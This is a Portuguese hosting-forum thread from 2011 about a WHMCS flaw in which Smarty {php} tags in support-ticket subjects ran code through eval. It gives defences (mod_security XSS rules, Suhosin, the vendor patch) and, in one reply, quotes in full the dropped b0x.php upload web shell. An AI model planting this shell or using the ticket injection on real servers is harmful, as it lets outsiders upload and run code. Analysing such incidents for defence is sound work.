edvan Postado Dezembro 5, 2011 Compartilhar Postado Dezembro 5, 2011 Eu fiz um teste aqui simulando abertura de um ticket e coloquei no assunto/corpo: {php}eval(base64_decode('ZWNobyAidGVzdGUiOw=='));{/php} E não houve nenhuma ação mesmo após eu abrir o ticket. Link para o comentário Compartilhar em outros sites More sharing options...
Visitante Postado Dezembro 5, 2011 Compartilhar Postado Dezembro 5, 2011 Aproveitando este tópico será que existe resposta para isto? http://forum.portaldohost.com.br/threads/6697-Vizualizar-anexo-tickets-WHMCS-sem-fazer-download%21?highlight=vizualizar+ticket Eu fiz um teste aqui simulando abertura de um ticket e coloquei no assunto/corpo: E não houve nenhuma ação mesmo após eu abrir o ticket. Link para o comentário Compartilhar em outros sites More sharing options...
joaopaulo Postado Dezembro 6, 2011 Compartilhar Postado Dezembro 6, 2011 Pois é João, o código parece ser executado quando se abre o ticket pois esse código vem no assunto do ticket... João, onde posso colocar esse código para aumentar a proteção? Sim, o código é executado devido a este comando "eval". A função eval executa comandos contidos dentro de uma váriavel ou string. Como o WHMCS é em código fechado, você precisa chamar a função nos arquivos de template. O Edvan sabe melhor do que eu onde está o {foreach} que imprime o nome dos títulos, se ele puder ajudar aqui, seria bom. Leia este artigo http://jstiles.com/Blog/How-To-Protect-Your-Site-From-XSS-With-PHP ele fala sobre estas funções. Pesquisando encontrei algumas regras para o mod_security que previne ataques via XSS. # Weak rule SecFilter "<( |\n)*script" # Stronger rule SecFilter "<(.| )+>" Tem duas regras, é recomendado utilizar a primeira. Essas regras só funcionam para o XSS oriundo de tags html, geralmente de javascripts... O problema aqui são as Tags especiais do Smarty. Para evitar XSS de HTML, basta usar a função strip_tags. Eu fiz um teste aqui simulando abertura de um ticket e coloquei no assunto/corpo: E não houve nenhuma ação mesmo após eu abrir o ticket. Talvez seja pq o código postado pelo amigo não é o código real... não sei se a eval permite escapar caracteres... echo "teste"; ;) Solução para o problema: Utilizar o Suhosin. Após instalado, adicionar no arquivo php.ini suhosin.executor.disable_eval=On Link para o comentário Compartilhar em outros sites More sharing options...
Visitante Postado Dezembro 6, 2011 Compartilhar Postado Dezembro 6, 2011 Lembrando também que não basta só enviar os arquivos para o FTP.. é necessário arrumar as permissões de cada pasta de acordo com a função dela. Se você colocar permissão 777 em seu configuration.ini qualquer um poderá deletar o seu WHMCS.. Já tive um amigo que deszipou o WHMCS no public_html, foi instalar e deu o erro de permissão da templates_c, ele só deu um chmod 777 e deixou assim.. depois reclamou que deletaram a DB dele. Link para o comentário Compartilhar em outros sites More sharing options...
Clebson Postado Dezembro 6, 2011 Compartilhar Postado Dezembro 6, 2011 Sim, o código é executado devido a este comando "eval". A função eval executa comandos contidos dentro de uma váriavel ou string. Como o WHMCS é em código fechado, você precisa chamar a função nos arquivos de template. O Edvan sabe melhor do que eu onde está o {foreach} que imprime o nome dos títulos, se ele puder ajudar aqui, seria bom. Essas regras só funcionam para o XSS oriundo de tags html, geralmente de javascripts... O problema aqui são as Tags especiais do Smarty. Para evitar XSS de HTML, basta usar a função strip_tags. Talvez seja pq o código postado pelo amigo não é o código real... não sei se a eval permite escapar caracteres... echo "teste"; ;) Solução para o problema: Utilizar o Suhosin. Após instalado, adicionar no arquivo php.ini suhosin.executor.disable_eval=On Hum.. Só tem um problema ao adicionar a linha suhosin.executor.disable_eval=On no arquivo php.ini, algumas coisas no WHMCS irão parar de funcionar. Um ex.: é a página register.php da área do cliente. Então não tem como deixar o eval desabilitado. Link para o comentário Compartilhar em outros sites More sharing options...
Jordan Miguel Postado Dezembro 6, 2011 Compartilhar Postado Dezembro 6, 2011 Alguém entrou em contato com a WHMCS para buscar algum suporte sobre tal problema? Link para o comentário Compartilhar em outros sites More sharing options...
joaopaulo Postado Dezembro 6, 2011 Compartilhar Postado Dezembro 6, 2011 Hum.. Só tem um problema ao adicionar a linha suhosin.executor.disable_eval=On no arquivo php.ini, algumas coisas no WHMCS irão parar de funcionar. Um ex.: é a página register.php da área do cliente. Então não tem como deixar o eval desabilitado. Tens razão.. baixe uma nulled e o arquivo includes/functions.php tem vários evals em uso... é dose! Critiquem lá povo, afinal, vocês são os clientes. Link para o comentário Compartilhar em outros sites More sharing options...
edvan Postado Dezembro 6, 2011 Compartilhar Postado Dezembro 6, 2011 (editado) Tens razão.. baixe uma nulled e o arquivo includes/functions.php tem vários evals em uso... é dose! Critiquem lá povo, afinal, vocês são os clientes. O @McGuyver me enviou o código completo ( http://awesomescreenshot.com/064pmvsb8 http://awesomescreenshot.com/0b6pmvw04 ) e realmente o problema ocorre caso você NÃO tenha aplicado a última correção de segurança http://www.whmcs.blog.br/principal/atualizacao-de-seguranca-2/ O código cria um arquivo no seu /templates_c/ com o nome b0x.php e contéudo abaixo: <?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; } else { echo '<b>Upload GAGAL !!!</b><br><br>'; } } ?> Com esse código é possível enviar arquivos/scripts para seu servidor/pasta templates_c Após fazer a atualização fiz mais 10 testes em 2 WHMCS e o problema foi sanado! Esse mesmo problema atingiu o HostBill http://hostbillapp.com/changelog/ Security: Potential security risk when using support tickets and Smarty library not in secure mode [12-05-2011] Mesmo sem a correção do WHMCS esse problema não me atingiria pois não utilizo a pasta /templates_c/ como cache, além disso meu cache é excluído diariamente/automaticamente http://www.whmcs.blog.br/problemas-duvidas/arquivos-de-cache-pasta-templates_c/ Editado Dezembro 6, 2011 por edvan HostBill Link para o comentário Compartilhar em outros sites More sharing options...
edvan Postado Dezembro 6, 2011 Compartilhar Postado Dezembro 6, 2011 Aproveitando este tópico será que existe resposta para isto? http://forum.portaldohost.com.br/threads/6697-Vizualizar-anexo-tickets-WHMCS-sem-fazer-download%21?highlight=vizualizar+ticket @williamkevenis, é bom não misturar os tópicos... creio que não seja possível sem a construção de um novo arquivo. Envia sua sugestão para WHMCS.com Link para o comentário Compartilhar em outros sites More sharing options...
Thiago Sabaia Postado Dezembro 6, 2011 Compartilhar Postado Dezembro 6, 2011 LoL, impressionante. Ainda bem que na época que eu usava o WHMCS nunca aconteceu isso comigo. █ Super T Host | Revenda de Hospedagem SSD a partir de R$ 65,95 por mês █ Utilize o cupom PDH e ganhe 60% de desconto nos 3 primeiros meses nos planos de Revenda. █ www.superthost.com.br - WhatsApp 21 983 121 387 Link para o comentário Compartilhar em outros sites More sharing options...
Posts Recomendados